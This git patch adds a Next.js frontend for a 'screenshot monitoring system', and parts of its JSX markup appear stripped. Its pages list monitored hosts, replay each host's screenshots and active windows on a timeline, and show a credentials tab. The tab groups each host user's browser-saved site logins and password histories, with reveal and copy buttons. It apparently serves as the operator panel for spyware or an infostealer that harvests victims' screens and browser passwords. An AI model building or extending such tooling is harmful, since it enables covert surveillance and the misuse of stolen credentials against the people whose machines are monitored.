From 1d41ad6ef17f053738e1428036353047ece289e5 Mon Sep 17 00:00:00 2001 From: feie9456 Date: Sat, 28 Jun 2025 16:57:26 +0800 Subject: [PATCH] complete frontend - refact from vue --- app/api/{ => api}/version/route.ts | 0 app/decode/page.tsx | 158 +++ .../components/RecordDatePicker.tsx | 147 +++ .../[hostname]/components/TimelineSlider.tsx | 219 +++++ app/hosts/[hostname]/page.tsx | 902 ++++++++++++++++++ app/page.tsx | 205 ++-- app/upload/page.tsx | 229 +++++ bun.lock | 6 + package.json | 2 + 9 files changed, 1772 insertions(+), 96 deletions(-) rename app/api/{ => api}/version/route.ts (100%) create mode 100644 app/decode/page.tsx create mode 100644 app/hosts/[hostname]/components/RecordDatePicker.tsx create mode 100644 app/hosts/[hostname]/components/TimelineSlider.tsx create mode 100644 app/hosts/[hostname]/page.tsx create mode 100644 app/upload/page.tsx diff --git a/app/api/version/route.ts b/app/api/api/version/route.ts similarity index 100% rename from app/api/version/route.ts rename to app/api/api/version/route.ts diff --git a/app/decode/page.tsx b/app/decode/page.tsx new file mode 100644 index 0000000..d510817 --- /dev/null +++ b/app/decode/page.tsx @@ -0,0 +1,158 @@ +'use client' + +import { useState, useRef, useEffect } from 'react' + +interface DecodedLine { + content: string + isError: boolean +} + +export default function DecodePage() { + const [decodedLines, setDecodedLines] = useState([]) + const [errorMessage, setErrorMessage] = useState('') + const resultRef = useRef(null) + + // 转换 Unix 时间戳为本地时间字符串 + const formatTimestamp = (line: string): string => { + const match = line.match(/^\[(\d+)\](.*)/) + if (match) { + const timestamp = parseInt(match[1]) + const date = new Date(timestamp * 1000) + const formattedTime = date.toLocaleString('zh-CN', { + year: 'numeric', + month: '2-digit', + day: '2-digit', + hour: '2-digit', + minute: '2-digit', + second: '2-digit', + hour12: false + }) + return `[${formattedTime}]${match[2]}` + } + return line + } + + const decodeBase64 = (base64String: string): string => { + try { + const binaryString = atob(base64String.trim()) + const bytes = new Uint8Array(binaryString.length) + for (let i = 0; i < binaryString.length; i++) { + bytes[i] = binaryString.charCodeAt(i) + } + + const decoder = new TextDecoder('utf-8') + return decoder.decode(bytes) + } catch (e) { + throw new Error(`解码失败: ${(e as Error).message}`) + } + } + + const scrollToBottom = () => { + if (resultRef.current) { + resultRef.current.scrollTop = resultRef.current.scrollHeight + } + } + + // 当解码行数更新时滚动到底部 + useEffect(() => { + if (decodedLines.length > 0) { + setTimeout(scrollToBottom, 100) + } + }, [decodedLines]) + + const handleFileChange = async (event: React.ChangeEvent) => { + const file = event.target.files?.[0] + + if (!file) { + setErrorMessage('请选择文件') + return + } + + try { + const text = await file.text() + const lines = text.split('\n') + + const processedLines: DecodedLine[] = lines + .filter(line => line.trim()) + .map((line, index) => { + try { + const decodedLine = decodeBase64(line) + const formattedLine = formatTimestamp(decodedLine) + return { + content: formattedLine, + isError: false + } + } catch (e) { + console.error(`第 ${index + 1} 行解码失败:`, e) + return { + content: `第 ${index + 1} 行解码失败: ${line}`, + isError: true + } + } + }) + + setDecodedLines(processedLines) + setErrorMessage('') + } catch (e) { + setErrorMessage('文件读取失败,请重试') + console.error('文件读取错误:', e) + } + } + + return ( +
+

Base64 日志解码器

+ + {/* 文件上传区域 */} +
+
+ + +
+
+ + {/* 错误提示 */} + {errorMessage && ( +
+ {errorMessage} +
+ )} + + {/* 解码结果 */} + {decodedLines.length > 0 && ( +
+

解码结果:

+
+
+ {decodedLines.map((line, index) => ( +
+
+                    {line.content}
+                  
+
+ ))} +
+
+
+ )} +
+ ) +} diff --git a/app/hosts/[hostname]/components/RecordDatePicker.tsx b/app/hosts/[hostname]/components/RecordDatePicker.tsx new file mode 100644 index 0000000..f44d989 --- /dev/null +++ b/app/hosts/[hostname]/components/RecordDatePicker.tsx @@ -0,0 +1,147 @@ +"use client"; + +import { useState, useMemo } from 'react'; + +interface RecordDatePickerProps { + value: string | null; + dailyCounts: Record; + onChange: (date: string) => void; +} + +export default function RecordDatePicker({ value, dailyCounts, onChange }: RecordDatePickerProps) { + const today = new Date(); + const initialDate = value ? new Date(value) : today; + + const [currentYear, setCurrentYear] = useState(initialDate.getFullYear()); + const [currentMonth, setCurrentMonth] = useState(initialDate.getMonth()); + + const weekDays = ['日', '一', '二', '三', '四', '五', '六']; + + const calendarDays = useMemo(() => { + const year = currentYear; + const month = currentMonth; + const firstDayOfMonth = new Date(year, month, 1); + const lastDayOfMonth = new Date(year, month + 1, 0); + const daysInMonth = lastDayOfMonth.getDate(); + const startDayIndex = firstDayOfMonth.getDay(); + const totalCells = Math.ceil((startDayIndex + daysInMonth) / 7) * 7; + + const days = []; + const startDate = new Date(year, month, 1 - startDayIndex); + + for (let i = 0; i < totalCells; i++) { + const date = new Date(startDate); + date.setDate(startDate.getDate() + i); + const dateString = `${date.getFullYear()}-${(date.getMonth() + 1) + .toString() + .padStart(2, '0')}-${date.getDate().toString().padStart(2, '0')}`; + + days.push({ + date, + day: date.getDate(), + isCurrentMonth: date.getMonth() === month, + dateString, + count: dailyCounts[dateString] || 0 + }); + } + return days; + }, [currentYear, currentMonth, dailyCounts]); + + const maxCount = useMemo(() => { + let max = 0; + calendarDays.forEach((day) => { + if (day.count > max) { + max = day.count; + } + }); + return max; + }, [calendarDays]); + + const selectDay = (day: { date: Date; dateString: string; isCurrentMonth: boolean }) => { + if (!day.isCurrentMonth) { + setCurrentYear(day.date.getFullYear()); + setCurrentMonth(day.date.getMonth()); + } + onChange(day.dateString); + }; + + const getDayStyle = (day: { dateString: string; count: number }) => { + const styles: React.CSSProperties = {}; + + if (value === day.dateString) { + styles.outline = '2px solid #2563EB'; + } + + if (day.count > 0) { + const ratio = maxCount > 0 ? day.count / maxCount : 0; + const opacity = 0.3 + ratio * 0.7; + styles.backgroundColor = `rgba(16, 185, 129, ${opacity})`; + styles.color = opacity > 0.6 ? 'white' : 'black'; + } else { + styles.backgroundColor = 'transparent'; + styles.color = 'inherit'; + } + + return styles; + }; + + const prevMonth = () => { + if (currentMonth === 0) { + setCurrentYear(currentYear - 1); + setCurrentMonth(11); + } else { + setCurrentMonth(currentMonth - 1); + } + }; + + const nextMonth = () => { + if (currentMonth === 11) { + setCurrentYear(currentYear + 1); + setCurrentMonth(0); + } else { + setCurrentMonth(currentMonth + 1); + } + }; + + return ( +
+ {/* 月份切换头部 */} +
+ +
+ {currentYear} - {(currentMonth + 1).toString().padStart(2, '0')} +
+ +
+ + {/* 星期标题 */} +
+ {weekDays.map((day) => ( +
{day}
+ ))} +
+ + {/* 日历网格 */} +
+ {calendarDays.map((day, index) => ( +
selectDay(day)} + > +
+ {day.day} +
+
+ ))} +
+
+ ); +} diff --git a/app/hosts/[hostname]/components/TimelineSlider.tsx b/app/hosts/[hostname]/components/TimelineSlider.tsx new file mode 100644 index 0000000..c78c37c --- /dev/null +++ b/app/hosts/[hostname]/components/TimelineSlider.tsx @@ -0,0 +1,219 @@ +"use client"; + +import { useRef, useState, useEffect, useCallback } from 'react'; +import { format } from 'date-fns'; + +interface Segment { + start: number; + end: number; + active: boolean; +} + +interface Marker { + time: number; + label?: string; + active?: boolean; +} + +interface TimelineSliderProps { + minTime: number; + maxTime: number; + value: number; + mode?: 'default' | 'segments' | 'ticks'; + segments?: Segment[]; + markers?: Marker[]; + onChange: (value: number) => void; +} + +export default function TimelineSlider({ + minTime, + maxTime, + value, + mode = 'default', + segments = [], + markers = [], + onChange +}: TimelineSliderProps) { + const sliderRef = useRef(null); + const [dragging, setDragging] = useState(false); + const [internalValue, setInternalValue] = useState(value); + const [showTooltip, setShowTooltip] = useState(false); + + // 同步外部value到内部状态(只在非拖拽状态下) + useEffect(() => { + if (!dragging) { + setInternalValue(value); + } + }, [value, dragging]); + + const formattedValue = format(new Date(internalValue), 'HH:mm:ss'); + const percentage = ((internalValue - minTime) / (maxTime - minTime)) * 100; + + const getSnapValue = useCallback((val: number): number => { + if (mode === 'ticks' && markers.length > 0) { + let closest = markers[0].time; + let minDiff = Math.abs(val - markers[0].time); + for (const marker of markers) { + const diff = Math.abs(val - marker.time); + if (diff < minDiff) { + minDiff = diff; + closest = marker.time; + } + } + return closest; + } else if (mode === 'segments' && segments.length > 0) { + let closestMidpoint: number | null = null; + let minDiff = Infinity; + for (const segment of segments) { + if (segment.active) { + const midpoint = (segment.start + segment.end) / 2; + const diff = Math.abs(val - midpoint); + if (diff < minDiff) { + minDiff = diff; + closestMidpoint = midpoint; + } + } + } + if (closestMidpoint !== null) { + return closestMidpoint; + } + } + return val; + }, [mode, markers, segments]); + + // 使用ref来跟踪上次通知的值,避免频繁调用onChange + const lastNotifiedValue = useRef(value); + + // 指针移动处理函数 + const pointerMoveHandler = useCallback((event: PointerEvent) => { + if (!sliderRef.current) return; + const rect = sliderRef.current.getBoundingClientRect(); + let x = event.clientX - rect.left; + x = Math.max(0, Math.min(x, rect.width)); + const newValue = minTime + (x / rect.width) * (maxTime - minTime); + setInternalValue(newValue); + + // 节流调用onChange,避免过于频繁的更新 + const snapped = getSnapValue(newValue); + if (Math.abs(snapped - lastNotifiedValue.current) > 100) { // 100ms的节流 + lastNotifiedValue.current = snapped; + onChange(snapped); + } + }, [minTime, maxTime, getSnapValue, onChange]); + + // 指针释放处理函数 + const pointerUpHandler = useCallback(() => { + setDragging(false); + setShowTooltip(false); + window.removeEventListener('pointermove', pointerMoveHandler); + window.removeEventListener('pointerup', pointerUpHandler); + + // 最终确保调用onChange通知最新的值 + setInternalValue(currentValue => { + const snapped = getSnapValue(currentValue); + lastNotifiedValue.current = snapped; + onChange(snapped); + return snapped; + }); + }, [getSnapValue, onChange, pointerMoveHandler]); + + // 指针按下处理函数 + const onPointerDown = (event: React.PointerEvent) => { + event.stopPropagation(); + event.preventDefault(); + + if (!sliderRef.current) return; + const rect = sliderRef.current.getBoundingClientRect(); + let x = event.clientX - rect.left; + x = Math.max(0, Math.min(x, rect.width)); + const newValue = minTime + (x / rect.width) * (maxTime - minTime); + + setDragging(true); + setShowTooltip(true); + setInternalValue(newValue); + + // 立即通知父组件值的变化 + const snapped = getSnapValue(newValue); + lastNotifiedValue.current = snapped; + onChange(snapped); + + window.addEventListener('pointermove', pointerMoveHandler); + window.addEventListener('pointerup', pointerUpHandler); + }; + + const getSegmentStyle = (segment: Segment) => { + const startPercent = ((segment.start - minTime) / (maxTime - minTime)) * 100; + const endPercent = ((segment.end - minTime) / (maxTime - minTime)) * 100; + const widthPercent = endPercent - startPercent; + return { + position: 'absolute' as const, + left: `${startPercent}%`, + width: `${widthPercent}%`, + height: '100%', + backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB', + borderLeft: '1px solid #E5E7EB', + borderRight: '1px solid #E5E7EB', + }; + }; + + const getMarkerStyle = (marker: Marker) => { + const pos = ((marker.time - minTime) / (maxTime - minTime)) * 100; + return { + position: 'absolute' as const, + left: `${pos}%`, + top: '50%', + width: '2px', + height: '100%', + backgroundColor: marker.active ? '#4ADE80' : '#9CA3AF', + transform: 'translate(-50%, -50%)' + }; + }; + + return ( +
+ {/* 底部轨道 */} +
+ {/* Segments 模式 */} + {mode === 'segments' && segments.map((segment, index) => ( +
+ ))} + + {/* Ticks 模式 */} + {mode === 'ticks' && markers.map((marker, index) => ( +
+ ))} +
+ + {/* 可拖动的滑块 */} +
+ {/* Tooltip */} + {showTooltip && ( +
+ {formattedValue} +
+ )} +
+
+ ); +} diff --git a/app/hosts/[hostname]/page.tsx b/app/hosts/[hostname]/page.tsx new file mode 100644 index 0000000..64d01df --- /dev/null +++ b/app/hosts/[hostname]/page.tsx @@ -0,0 +1,902 @@ +"use client"; + +import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; +import { useParams, useRouter } from 'next/navigation'; +import { + ArrowLeft, + RefreshCcw, + ChevronDown, + User, + Globe, + Link, + Clipboard, + ShieldAlert, + Loader2 +} from 'lucide-react'; +import { format, differenceInMinutes } from 'date-fns'; +import TimelineSlider from './components/TimelineSlider'; +import RecordDatePicker from './components/RecordDatePicker'; + +interface Screenshot { + fileId: string; + filename: string; + monitorName: string; +} + +interface Window { + title: string; + path: string; + memory: number; +} + +interface ScreenRecord { + timestamp: string; + windows: Window[]; + screenshots: Screenshot[]; +} + +interface TimeDistributionPoint { + count: number; + timestamp: number; +} + +interface Password { + value: string; + timestamp: string; +} + +interface Credential { + _id: string; + hostname: string; + username: string; + browser: string; + url: string; + login: string; + passwords: Password[]; + lastSyncTime: Date; +} + +interface BrowserGroup { + name: string; + credentials: Credential[]; +} + +interface UserGroup { + username: string; + browsers: BrowserGroup[]; + total: number; + lastSyncTime?: string; +} + +interface Segment { + start: number; + end: number; + active: boolean; +} + +interface Marker { + time: number; + label?: string; + active?: boolean; +} + +export default function HostDetail() { + const params = useParams(); + const router = useRouter(); + const hostname = params.hostname as string; + + // 状态管理 + const [activeTab, setActiveTab] = useState('screenshots'); + const [timeDistribution, setTimeDistribution] = useState([]); + const [records, setRecords] = useState([]); + const [selectedRecord, setSelectedRecord] = useState(null); + const [loadingDistribution, setLoadingDistribution] = useState(false); + const [loadingRecords, setLoadingRecords] = useState(false); + const [showDetailTimeline, setShowDetailTimeline] = useState(false); + const [lastUpdate, setLastUpdate] = useState(null); + + // 凭据相关状态 + const [credentials, setCredentials] = useState([]); + const [loadingCredentials, setLoadingCredentials] = useState(false); + const [expandedUsers, setExpandedUsers] = useState([]); + const [expandedBrowsers, setExpandedBrowsers] = useState([]); + const [expandedCredentials, setExpandedCredentials] = useState([]); + const [revealedPasswords, setRevealedPasswords] = useState([]); + + // 日历和滑块状态 + const [selectedDate, setSelectedDate] = useState(null); + const [timeRange, setTimeRange] = useState({ min: 0, max: 0 }); + const [hourlySliderValue, setHourlySliderValue] = useState(0); + const [detailedSliderValue, setDetailedSliderValue] = useState(0); + + // 播放控制 + const [currentFrameIndex, setCurrentFrameIndex] = useState(-1); + const [autoPlay, setAutoPlay] = useState(false); + const [autoPlaySpeed, setAutoPlaySpeed] = useState(200); + const [imagesLoadedCount, setImagesLoadedCount] = useState(0); + const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9); + const autoPlayTimer = useRef(null); + + // 格式化内存大小 + const formatMemory = (bytes: number) => { + if (typeof bytes !== 'number') return '0 B'; + const units = ['B', 'KB', 'MB', 'GB']; + let size = bytes; + let unitIndex = 0; + while (size >= 1024 && unitIndex < units.length - 1) { + size /= 1024; + unitIndex++; + } + return `${size.toFixed(1)} ${units[unitIndex]}`; + }; + + // 格式化日期 + const formatDate = (date: string, type: 'full' | 'short' = 'full') => { + if (type === 'short') { + return format(new Date(date), 'MM-dd HH:mm'); + } + return format(new Date(date), 'yyyy-MM-dd HH:mm:ss'); + }; + + // 获取时间分布数据 + const fetchTimeDistribution = async () => { + try { + setLoadingDistribution(true); + const response = await fetch(`/api/hosts/${hostname}/time-distribution`); + if (!response.ok) throw new Error('获取时间分布数据失败'); + const data = await response.json(); + setTimeDistribution(data.distribution); + } catch (error) { + console.error('获取时间分布数据失败:', error); + } finally { + setLoadingDistribution(false); + } + }; + + // 获取凭据数据 + const fetchCredentials = async () => { + try { + setLoadingCredentials(true); + const response = await fetch(`/api/hosts/${hostname}/credentials`); + if (!response.ok) throw new Error('获取凭据数据失败'); + const data = await response.json(); + setCredentials(data); + + if (data.length > 0) { + const firstUser = data[0].username; + if (!expandedUsers.includes(firstUser)) { + setExpandedUsers([firstUser]); + } + } + } catch (error) { + console.error('获取凭据数据失败:', error); + } finally { + setLoadingCredentials(false); + } + }; + + // 获取小时记录 + const fetchHourlyRecords = async (startTime: number, endTime: number) => { + try { + setLoadingRecords(true); + setShowDetailTimeline(true); + const response = await fetch( + `/api/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}` + ); + if (!response.ok) throw new Error('获取记录数据失败'); + const data = await response.json(); + setRecords(data.records.reverse()); + setLastUpdate(data.lastUpdate); + setTimeRange({ min: startTime * 1000, max: endTime * 1000 }); + + requestAnimationFrame(() => { + setSelectedRecord(data.records[0]); + }); + } catch (error) { + console.error('获取记录数据失败:', error); + } finally { + setLoadingRecords(false); + } + }; + + // 组织凭据数据按用户分组 + const credentialsByUser = useMemo(() => { + const userMap = new Map(); + + credentials.forEach(cred => { + if (!userMap.has(cred.username)) { + userMap.set(cred.username, []); + } + userMap.get(cred.username)!.push(cred); + }); + + const result: UserGroup[] = []; + + userMap.forEach((userCreds, username) => { + const latestSyncTime = userCreds.reduce((latest, cred) => { + const credTime = new Date(cred.lastSyncTime); + return credTime > latest ? credTime : latest; + }, new Date(0)).toISOString(); + + const browserMap = new Map(); + + userCreds.forEach(cred => { + if (!browserMap.has(cred.browser)) { + browserMap.set(cred.browser, []); + } + browserMap.get(cred.browser)!.push(cred); + }); + + const browsers: BrowserGroup[] = []; + browserMap.forEach((browserCreds, browserName) => { + browsers.push({ + name: browserName, + credentials: browserCreds + }); + }); + + result.push({ + username, + browsers, + total: userCreds.length, + lastSyncTime: latestSyncTime + }); + }); + + return result; + }, [credentials]); + + // 日历相关计算 + const dailyCounts = useMemo(() => { + const map: Record = {}; + timeDistribution.forEach(point => { + const d = new Date(point.timestamp * 1000); + const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`; + map[dateStr] = (map[dateStr] || 0) + point.count; + }); + return map; + }, [timeDistribution]); + + // 小时分布滑块相关计算 + const hourlyMinTime = useMemo(() => { + if (selectedDate) { + const [year, month, day] = selectedDate.split('-').map(Number); + const dayStart = new Date(year, month - 1, day); + return dayStart.getTime(); + } + if (timeDistribution.length === 0) return Date.now(); + const minSec = Math.min(...timeDistribution.map(d => d.timestamp)); + return minSec * 1000; + }, [selectedDate, timeDistribution]); + + const hourlyMaxTime = useMemo(() => { + if (selectedDate) { + const [year, month, day] = selectedDate.split('-').map(Number); + const dayStart = new Date(year, month - 1, day); + const dayEnd = new Date(dayStart); + dayEnd.setDate(dayStart.getDate() + 1); + return dayEnd.getTime(); + } + if (timeDistribution.length === 0) return Date.now(); + const maxSec = Math.max(...timeDistribution.map(d => d.timestamp)); + return (maxSec + 3599) * 1000; + }, [selectedDate, timeDistribution]); + + const hourlySegments = useMemo(() => { + const segments: Segment[] = []; + if (selectedDate) { + const [year, month, day] = selectedDate.split('-').map(Number); + const dayStart = new Date(year, month - 1, day); + const startSec = Math.floor(dayStart.getTime() / 1000); + const dayEnd = new Date(dayStart); + dayEnd.setDate(dayEnd.getDate() + 1); + const endSec = Math.floor(dayEnd.getTime() / 1000); + + for (let t = startSec; t < endSec; t += 3600) { + const segStart = t * 1000; + const segEnd = (t + 3600) * 1000; + const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600); + segments.push({ + start: segStart, + end: segEnd, + active: !!data && data.count > 0 + }); + } + } else { + if (timeDistribution.length === 0) return segments; + const startSec = Math.min(...timeDistribution.map(d => d.timestamp)); + const endSec = Math.max(...timeDistribution.map(d => d.timestamp)); + for (let t = startSec; t <= endSec; t += 3600) { + const segStart = t * 1000; + const segEnd = (t + 3600) * 1000; + const data = timeDistribution.find(d => d.timestamp === t); + segments.push({ + start: segStart, + end: segEnd, + active: data ? data.count > 0 : false + }); + } + } + return segments; + }, [selectedDate, timeDistribution]); + + // 详细时间点标记 + const detailedMarkers = useMemo(() => { + return records.map(record => ({ + time: new Date(record.timestamp).getTime(), + label: format(new Date(record.timestamp), 'HH:mm:ss'), + active: true + })); + }, [records]); + + // 计算属性 + const allImagesLoaded = useMemo(() => { + if (!selectedRecord) return false; + return imagesLoadedCount >= selectedRecord.screenshots.length; + }, [selectedRecord, imagesLoadedCount]); + + // 事件处理函数 + const onHourlySliderChange = (newValue: number) => { + const selectedSec = Math.floor(newValue / 3600000) * 3600; + + // 使用 setTimeout 避免在渲染过程中更新状态 + setTimeout(() => { + setHourlySliderValue(newValue); + fetchHourlyRecords(selectedSec, selectedSec + 3600); + }, 0); + }; + + const onDetailedSliderChange = (newValue: number) => { + if (records.length === 0) return; + const targetTime = newValue; + let closestRecord = records[0]; + let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime); + + for (const record of records) { + const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime); + if (diff < minDiff) { + minDiff = diff; + closestRecord = record; + } + } + + // 使用 setTimeout 避免在渲染过程中更新状态 + setTimeout(() => { + setSelectedRecord(closestRecord); + setDetailedSliderValue(newValue); + }, 0); + }; + + // 展开/折叠功能 + const toggleUserExpanded = (username: string) => { + if (expandedUsers.includes(username)) { + setExpandedUsers(expandedUsers.filter(u => u !== username)); + } else { + setExpandedUsers([...expandedUsers, username]); + } + }; + + const toggleBrowserExpanded = (browserKey: string) => { + if (expandedBrowsers.includes(browserKey)) { + setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey)); + } else { + setExpandedBrowsers([...expandedBrowsers, browserKey]); + } + }; + + const toggleCredentialExpanded = (credId: string) => { + if (expandedCredentials.includes(credId)) { + setExpandedCredentials(expandedCredentials.filter(c => c !== credId)); + } else { + setExpandedCredentials([...expandedCredentials, credId]); + } + }; + + const revealPassword = (passwordKey: string) => { + if (!revealedPasswords.includes(passwordKey)) { + setRevealedPasswords([...revealedPasswords, passwordKey]); + } + }; + + const copyToClipboard = async (text: string) => { + try { + await navigator.clipboard.writeText(text); + } catch (err) { + console.error('复制失败:', err); + } + }; + + // 播放控制 + const nextFrame = () => { + if (currentFrameIndex < records.length - 1) { + setCurrentFrameIndex(currentFrameIndex + 1); + setSelectedRecord(records[currentFrameIndex + 1]); + } else { + setAutoPlay(false); + } + stopAutoPlayTimer(); + }; + + const prevFrame = () => { + if (currentFrameIndex > 0) { + setCurrentFrameIndex(currentFrameIndex - 1); + setSelectedRecord(records[currentFrameIndex - 1]); + } + stopAutoPlayTimer(); + }; + + const toggleAutoPlay = () => { + setAutoPlay(!autoPlay); + }; + + const startAutoPlayTimer = useCallback(() => { + if (allImagesLoaded && autoPlay) { + autoPlayTimer.current = setTimeout(() => { + nextFrame(); + }, autoPlaySpeed); + } + }, [allImagesLoaded, autoPlay, autoPlaySpeed, currentFrameIndex, records.length]); + + const stopAutoPlayTimer = () => { + if (autoPlayTimer.current) { + clearTimeout(autoPlayTimer.current); + autoPlayTimer.current = null; + } + }; + + const onImageLoad = (event: React.SyntheticEvent, fileId: string) => { + setImagesLoadedCount(prev => prev + 1); + const imgEl = event.target as HTMLImageElement; + if (imgEl.naturalHeight !== 0) { + setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight); + } + }; + + // Effects + useEffect(() => { + fetchTimeDistribution(); + fetchCredentials(); + }, [hostname]); + + useEffect(() => { + if (!selectedDate && Object.keys(dailyCounts).length > 0) { + const dates = Object.keys(dailyCounts).sort(); + if (dates.length > 0) { + setSelectedDate(dates[0]); + } + } + }, [dailyCounts, selectedDate]); + + useEffect(() => { + setHourlySliderValue(hourlyMinTime); + }, [hourlyMinTime]); + + useEffect(() => { + if (selectedDate) { + const activeSegment = hourlySegments.find(s => s.active); + const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime; + setHourlySliderValue(newValue); + onHourlySliderChange(newValue); + } + }, [selectedDate, hourlySegments, hourlyMinTime]); + + useEffect(() => { + setDetailedSliderValue(timeRange.min); + }, [timeRange.min]); + + useEffect(() => { + setImagesLoadedCount(0); + if (selectedRecord) { + const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp); + setCurrentFrameIndex(idx); + setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime()); + } + if (autoPlay && allImagesLoaded) { + startAutoPlayTimer(); + } + }, [selectedRecord, records, autoPlay, allImagesLoaded, startAutoPlayTimer]); + + useEffect(() => { + if (autoPlay && allImagesLoaded) { + stopAutoPlayTimer(); + startAutoPlayTimer(); + } + }, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]); + + return ( +
+
+ {/* 头部导航 */} +
+
+ +

+ {hostname} +

+
+ {lastUpdate && ( +
+ 最后更新: {formatDate(lastUpdate)} +
+ )} +
+ + {/* 选项卡导航 */} +
+ +
+ + {/* 截图时间线选项卡 */} + {activeTab === 'screenshots' && ( +
+ {/* 小时分布滑块(时间分布) */} +
+
+

时间分布

+ +
+ + + + {hourlySegments.length > 0 ? ( +
+ +
+ ) : ( +
加载时间分布中...
+ )} +
+ + {/* 详细时间点滑块 */} + {showDetailTimeline && ( +
+
+

时间点详情

+ +
+ + {records.length > 0 ? ( + + ) : ( +
加载记录中...
+ )} +
+ )} + + {/* 图片预览区域及控制按钮 */} + {selectedRecord && ( +
+ {/* 图片预览区域 */} + {selectedRecord.screenshots.map((screenshot, sIndex) => ( +
+
+ {screenshot.monitorName} onImageLoad(e, screenshot.fileId)} + /> +
+ + {/* 图片说明 */} +
+
{screenshot.monitorName}
+
+ {new Date(selectedRecord.timestamp).toLocaleString()} +
+
+ + {/* 左侧点击区域 - 上一帧 */} +
{ e.preventDefault(); prevFrame(); }} + onTouchStart={(e) => e.preventDefault()} + className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" + /> + + {/* 右侧点击区域 - 下一帧 */} +
{ e.preventDefault(); nextFrame(); }} + onTouchStart={(e) => e.preventDefault()} + className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" + /> +
+ ))} + + {/* 控制按钮区域 */} +
+ + +
+ + {/* 窗口信息 */} +
+

活动窗口

+
+
+ {selectedRecord.windows.map((window, index) => ( +
+
+
+ {window.title} +
+
+ {window.path} +
+
+ 内存占用: {formatMemory(window.memory)} +
+
+
+ ))} +
+
+
+
+ )} +
+ )} + + {/* 凭据信息选项卡 */} + {activeTab === 'credentials' && ( +
+
+

凭据信息

+
+ +
+
+ + {/* 加载状态 */} + {loadingCredentials ? ( +
+
+ +

加载凭据信息...

+
+
+ ) : credentialsByUser.length === 0 ? ( +
+ +

没有找到任何凭据信息

+

可能是该主机尚未上报凭据数据

+
+ ) : ( +
+ {credentialsByUser.map((userGroup, index) => ( +
+ {/* 用户信息头部 */} +
+
+
toggleUserExpanded(userGroup.username)} + > + +

{userGroup.username}

+
+ ({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据) +
+ +
+ + {userGroup.lastSyncTime && ( +
+ 最后同步: {formatDate(userGroup.lastSyncTime, 'short')} +
+ )} +
+
+ + {/* 用户凭据内容 */} + {expandedUsers.includes(userGroup.username) && ( +
+ {userGroup.browsers.map((browser) => ( +
+ {/* 浏览器标题 */} +
toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)} + > +
+ + {browser.name} + + ({browser.credentials.length} 个站点) + +
+ +
+ + {/* 浏览器凭据列表 */} + {expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && ( +
+ {browser.credentials.map((cred) => ( +
+ {/* 凭据网站头部 */} +
toggleCredentialExpanded(cred._id)} + > +
+ +
+ {cred.url} +
+
+ +
+ + {/* 凭据详情 */} + {expandedCredentials.includes(cred._id) && ( +
+
+
+ 用户名: + {cred.login} +
+ +
+
+ 密码历史: + + {cred.passwords.length} 条记录 + +
+ +
+ {cred.passwords.map((pwd, pwdIndex) => ( +
+ + {formatDate(pwd.timestamp, 'short')} + +
+ + revealedPasswords.includes(`${cred._id}-${pwdIndex}`) + ? null + : revealPassword(`${cred._id}-${pwdIndex}`) + } + > + {revealedPasswords.includes(`${cred._id}-${pwdIndex}`) + ? pwd.value + : '••••••••' + } + + +
+
+ ))} +
+
+
+
+ )} +
+ ))} +
+ )} +
+ ))} +
+ )} +
+ ))} +
+ )} +
+ )} +
+
+ ); +} diff --git a/app/page.tsx b/app/page.tsx index 88f0cc9..2867614 100644 --- a/app/page.tsx +++ b/app/page.tsx @@ -1,103 +1,116 @@ -import Image from "next/image"; +"use client"; + +import { useState, useEffect } from 'react'; +import { useRouter } from 'next/navigation'; +import { XCircle } from 'lucide-react'; +import { format, differenceInMinutes } from 'date-fns'; + +interface Host { + hostname: string; + lastUpdate: string; +} export default function Home() { - return ( -
-
- Next.js logo -
    -
  1. - Get started by editing{" "} - - app/page.tsx - - . -
  2. -
  3. - Save and see your changes instantly. -
  4. -
+ const router = useRouter(); + const [hosts, setHosts] = useState([]); + const [loading, setLoading] = useState(true); + const [error, setError] = useState(null); -
- - Vercel logomark - Deploy now - - - Read our docs - + const fetchHosts = async () => { + try { + setLoading(true); + const response = await fetch('/api/hosts'); + if (!response.ok) throw new Error('获取主机列表失败'); + const data = await response.json(); + setHosts(data); + } catch (err) { + setError(err instanceof Error ? err.message : '未知错误'); + } finally { + setLoading(false); + } + }; + + const formatDate = (date: string) => { + return format(new Date(date), 'yyyy-MM-dd HH:mm:ss'); + }; + + const isRecent = (date: string) => { + const diffMinutes = differenceInMinutes(new Date(), new Date(date)); + return diffMinutes <= 60; // 1小时内 + }; + + const navigateToHost = (hostname: string) => { + router.push(`/hosts/${hostname}`); + }; + + useEffect(() => { + fetchHosts(); + }, []); + + return ( +
+
+
+

屏幕截图监控系统

+ + {/* 主机列表卡片网格 */} +
+ {hosts.map((host) => ( +
navigateToHost(host.hostname)} + > +
+
+
+

+ {host.hostname} +

+

+ 最后更新: {formatDate(host.lastUpdate)} +

+
+
+
+
+
+
+
+ ))} +
+ + {/* 加载状态 */} + {loading && ( +
+
+
+ )} + + {/* 错误提示 */} + {error && ( +
+
+
+ +
+
+

+ 加载失败 +

+
+

{error}

+
+
+
+
+ )}
-
- +
